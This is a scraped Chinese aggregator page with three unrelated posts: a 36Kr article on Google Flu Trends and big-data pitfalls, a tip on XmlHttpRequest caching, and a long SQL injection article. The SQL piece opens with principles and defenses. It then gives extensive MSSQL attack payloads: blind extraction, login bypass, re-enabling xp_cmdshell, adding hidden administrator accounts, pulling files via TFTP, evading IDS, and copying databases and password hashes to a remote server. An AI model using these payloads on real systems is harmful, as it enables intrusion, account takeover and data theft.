小心大数据的陷阱

$
0
0


前不久腾讯举办了一场 夏季思享会,其主题是大数据。关于大数据,大家炒作得更多的是机遇、威力,比方说越来越多人利用Google的大数据来研究趋势,辅助分析决策,但是这场思享会从另一个角度分享了一个很好的思考: 大数据也可能是“大忽悠”

而最近对Google Flu Trends(流感趋势)的一些研究正好佐证了这一点。

说到Google Flu Trends,首先必须先提一提Google Trends和Google Correlate。Google Trends利用对用户搜索的大数据分析来获得人类某些活动的趋势,只要在Google Trends上输入某些查询关键字即可返回相关活动的数据序列。而Google Correlate则是输入数据序列可返回一组结果呈类似模式(相关性)的查询,有点类似于Google Trends的反函数。

Google Flu Trends是Google Trends最早也是最知名的应用之一。鉴于很多人患流感是往往会上Google查询了解疾病情况和用药,因此Google发现这种查询与流感爆发存在着某种相关关系。Google Trends曾经有过多次对流感的成功预测,包括2011/12年的美国流感、2007/08年瑞士流感、2005/06年德国流感、2007/08比利时流感等,其及时性甚至要比美国疾病预防控制中心还要高。

这显示出了搜索“流感”与流感爆发的相关性。

另一个例子是“宿醉”。比方说在Google Trends输入“hangover(宿醉)”,你会发现这种情况在周六开始冒头,然后周日到达巅峰,而到了周一则急剧下降。这种模式与输入“伏特加”的查询结果类似(滞后一天)。

但是数据越大未必就能带来更高的预测率。甚至还会带来“假规律”和“伪相关”。比方说,搜索2004至2012年间的美国汽车销售与“印度餐馆”,结果发现二者之间竟然存在相关关系。这个东西显然是无法解释的。

伪相关的原因是什么呢?

首先, 相关性并不意味着因果关系。比方说,Google Flu Trends对趋势的预测并非屡试不爽。有几次Google Trends就严重高估了流感病例的数量,包括2011/12的美国流感,2008/09瑞士流感,2008/09德国流感、2008/09比利时流感等。

英国伦敦大学学院的研究人员对此进行了 研究。结果发现,到Google搜索“流感”的人可以分成两类,一类是感冒患者,一类是跟风搜索者(可能是因为媒体报道而对感冒话题感兴趣者)。

显然第一类人的数据才是有用的。其搜索是内部产生的,独立于外界的。因此这些人的搜索模式应该与受到外界影响而进行搜索的人的模式不同。而正是第二类人的社会化搜索使得Google Flu Trends的预测失真。这正是因为Google Flu Trends把搜索“流感”与得流感的相关性当成了因果关系所致。

而稍早前美国东北大学与哈佛大学的研究人员对Google Flu Trends的失真案例进行的 另一组研究则认为,这反映出了热炒大数据的氛围下诞生的一股 大数据自大思潮。这股思潮认为,大数据完全可以取代传统的数据收集方法。其最大问题在于,绝大多数大数据与经过严谨科学试验和采样设计得到的数据之间存在很大的不同。首先,大未必全;其次,大则可能鱼龙混杂。

此外,Google 搜索算法本身的变化也有可能影响到Google Flu Trends的结果。这个原因不难理解。要知道,Google搜索的调整非常频繁,单 去年就进行了890项改进。其中就有不少属于算法的调整。媒体对于流感流行的报道会增加与流感相关的词汇的搜索次数,也会令Google增加相关搜索的推荐。从而令一些本身并不感冒的人也对流感产生了兴趣,进而把数据弄脏。

如何清洗数据呢?归根到底还是需要对数据进行模式分析。在流感趋势这个例子,研究人员认为,执行独立搜索的患流感人群的模式会随着时间推移而异于社会化搜索。其表现应该是在流感爆发时搜索急剧攀升,然后随着流感消失而缓慢下降。相反,社会化搜索则会表现得更为匀称。数据表明,在Google流感趋势出现高估的时候,趋势曲线的对称性的确更高。

这说明在分析大数据时必须要注意此类陷阱。充斥的大数据集以及统计学家对分析结果的传播会令真实的数据被放大或弄脏。

正如《The Parable of Google Flu: Traps in Big Data Analysis》的作者所认为那样,数据的价值并不仅仅体现在其“大小”上。利用创新性数据分析方法去分析数据才是本质。

当然,在未来数据能够逐步成为真正的大数据,并且数字世界与实体世界的映射趋于一致时,大数据也许就能发挥其完全的威力,乃至于 改变我们解决问题的方式

除非注明,本站文章均为原创或编译,转载请注明: 文章来自 36氪

36氪官方iOS应用正式上线,支持『一键下载36氪报道的移动App』和『离线阅读』立即下载!

XmlHttp / XmlHttpRequest 取数据时避免缓存的2种解决方案

$
0
0

方法一:加If-Modified-Since头

xmlhttp多次调用时它却总是显示缓存页面, 尝试在 php 或 asp 中加入相应的http头明确不要缓存, 也没什么效果!!
现在终于找到一个办法啦,就是在 xmlhttp.open 之后发送一个If-Modified-Since头即可, 代码如下
      xmlhttp.setRequestHeader('If-Modified-Since', '0');

方法二:请求URL后加变化参数
      js:     URL = "http://host/a.php"+"?"+Math.random();
      vbs:   URL = "http://host/a.php"&"?"&Timer()


推荐使用方法一,简洁灵活,不影响URL参数。
方法二的问题在于,URL本身可能带有一些参数,那就要判断是加"?"还是加"&"了。
原文地址:http://www.cnblogs.com/cuixiping/articles/1118246.html


已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



网站安全之——sql注入

$
0
0
转自:http://baike.baidu.com/view/3896.htm

原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
攻击

当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。
防护

归纳一下,主要有以下几点:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
2注入方法
编辑

方法1

先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count(列名) from 表名)<>0
或者也可以这样
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正确的,那么写的表名或列名就是正确
这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的
很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
获得数据库连接用户名:;and user>0
这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:
----------------------------------------------------------------------------------------------------------
"重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int"
-----------------------------------------------------------------------------------------------------------
看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则是暴数据库名。
一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是
Order by 10
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名
反正就是返回正确即对,返回异常即错
另外还有十分常用的ascll码拆半法
先要知道指定列名,例如user里的内容的长度
and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余
后面的逻辑符号可以根据不同要求更改的,
>;大于 <;小于 =就是等于咯,更新语句的话,=也可以表示传递符号 <>;就是不等
知道了长度后就可以开始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)>100
n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCLL字符是不是大于100
正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCLL转换器吧这个转换成普通字符就可以了
然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,直到报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以猜起来挺麻烦
这个猜解速度比较慢,但是效果最好,最具有广泛性
方法2

后台身份验证绕过漏洞
验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那么我使用'or 'a'='a来做用户名密码的话,那么查询就变成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了
这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似
sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。
第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了
方法3

防御方法
对于怎么防御SQL注入呢,这个网上很多,我这里讲几个
如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; “”;from;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。
当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
然后就用SafeRequest()来过滤参数 ,检查参数是否为数字,不是数字的就不能通过。
小结

SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
3SQL注入技术
编辑

强制产生错误

对数据库类型、版本等信息进行识别是此类型攻击的动机所在。它的目的是收集数据库的类型、结构等信息为其他类型的攻击做准备,可谓是攻击的一个预备步骤。利用应用程序服务器返回的默认错误信息而取得漏洞信息。
采用非主流通道技术

除HTTP响应外,能通过通道获取数据,然而,通道大都依赖与数据库支持的功能而存在,所以这项技术不完全适用于所有的数据库平台。SQL注入的非主流通道主要有E-mail、DNS以及数据库连接,基本思想为:先对SQL查询打包,然后借助非主流通道将信息反馈至攻击者。
使用特殊的字符

不同的SQL数据库有许多不同是特殊字符和变量,通过某些配置不安全或过滤不细致的应用系统能够取得某些有用的信息,从而对进一步攻击提供方向。
使用条件语句

此方式具体可分为基于内容、基于时间、基于错误三种形式。一般在经过常规访问后加上条件语句,根据信息反馈来判定被攻击的目标。
利用存储过程

通过某些标准存储过程,数据库厂商对数据库的功能进行扩展的同时,系统也可与进行交互。部分存储过程可以让用户自行定义。通过其他类型的攻击收集到数据库的类型、结构等信息后,便能够建构执行存储过程的命令。这种攻击类型往往能达到远程命令执行、特权扩张、拒绝服务的目的。
避开输入过滤技术

虽然对于通常的编码都可利用某些过滤技术进行SQL注入防范,但是鉴于此种情况下也有许多方法避开过滤,一般可达到此目的的技术手段包括SQL注释和动态查询的使用,利用截断,URL编码与空字节的使用,大小写变种的使用以及嵌套剥离后的表达式等等。借助于此些手段,输入构思后的查询可以避开输入过滤,从而攻击者能获得想要的查询结果。
推断技术

能够明确数据库模式、提取数据以及识别可注入参数。此种方式的攻击通过网站对用户输入的反馈信息,对可注入参数、数据库模式推断,这种攻击构造的查询执行后获得的答案只有真、假两种。基于推断的注入方式主要分为时间测定注入与盲注入两种。前者是在注入语句里加入语句诸如“waitfor 100”,按照此查询结果出现的时间对注入能否成功和数据值范围的推导进行判定;后者主要是“and l=l”、“and l=2”两种经典注入方法。这些方式均是对一些间接关联且能取得回应的问题进行提问,进而通过响应信息推断出想要信息,然后进行攻击。[1]
4SQL注入防范
编辑

了解了SQL注入的方法,如何能防止SQL注入?如何进一步防范SQL注入的泛滥?通过一些合理的操作和配置来降低SQL注入的危险。
使用参数化的过滤性语句

  要防御SQL注入,用户的输入就绝对不能直接被嵌入到SQL语句中。恰恰相反,用户的输入必须进行过滤,或者使用参数化的语句。参数化的语句使用参数而不是将用户输入嵌入到语句中。在多数情况中,SQL语句就得以修正。然后,用户输入就被限于一个参数。
输入验证


  检查用户输入的合法性,确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行之所以要执行服务器端验证,是为了弥补客户端验证机制脆弱的安全性。
  在客户端,攻击者完全有可能获得网页的源代码,修改验证合法性的脚本(或者直接删除脚本),然后将非法内容通过修改后的表单提交给服务器。因此,要保证验证操作确实已经执行,唯一的办法就是在服务器端也执行验证。你可以使用许多内建的验证对象,例如Regular Expression Validator,它们能够自动生成验证用的客户端脚本,当然你也可以插入服务器端的方法调用。如果找不到现成的验证对象,你可以通过Custom Validator自己创建一个。
错误消息处理


  防范SQL注入,还要避免出现一些详细的错误消息,因为黑客们可以利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。
加密处理

将用户登录名称、密码等数据加密保存。加密用户输入的数据,然后再将它与数据库中保存的数据比较,这相当于对用户输入的数据进行了“消毒”处理,用户输入的数据不再对数据库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。
存储过程来执行所有的查询

  SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。此外,它还使得数据库权限可以限制到只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
使用专业的漏洞扫描工具

  攻击者们目前正在自动搜索攻击目标并实施攻击,其技术甚至可以轻易地被应用于其它的Web架构中的漏洞。企业应当投资于一些专业的漏洞扫描工具,如大名鼎鼎的Acunetix的Web漏洞扫描程序等。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找网站上的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。
确保数据库安全


  锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限,撤销不必要的公共许可,使用强大的加密技术来保护敏感数据并维护审查跟踪。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限,那么就禁止它对此表的 drop 、insert、update、delete 的权限,并确保数据库打了最新补丁。
安全审评

  在部署应用系统前,始终要做安全审评。建立一个正式的安全过程,并且每次做更新时,要对所有的编码做审评。开发队伍在正式上线前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关, “就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。[2]
5语句特征
编辑

1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。假设存在user_id username,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schedule 启动服务
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32
\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>;刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一个加一个])
[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
开启远程数据库
基本语法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
参数: (1) OLEDB Provider name
其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
复制数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法:先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- (xp_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句9:and 1=(SELECT IS_MEMBER(db_owner));--
把路径写到表中去:
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录:下载
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
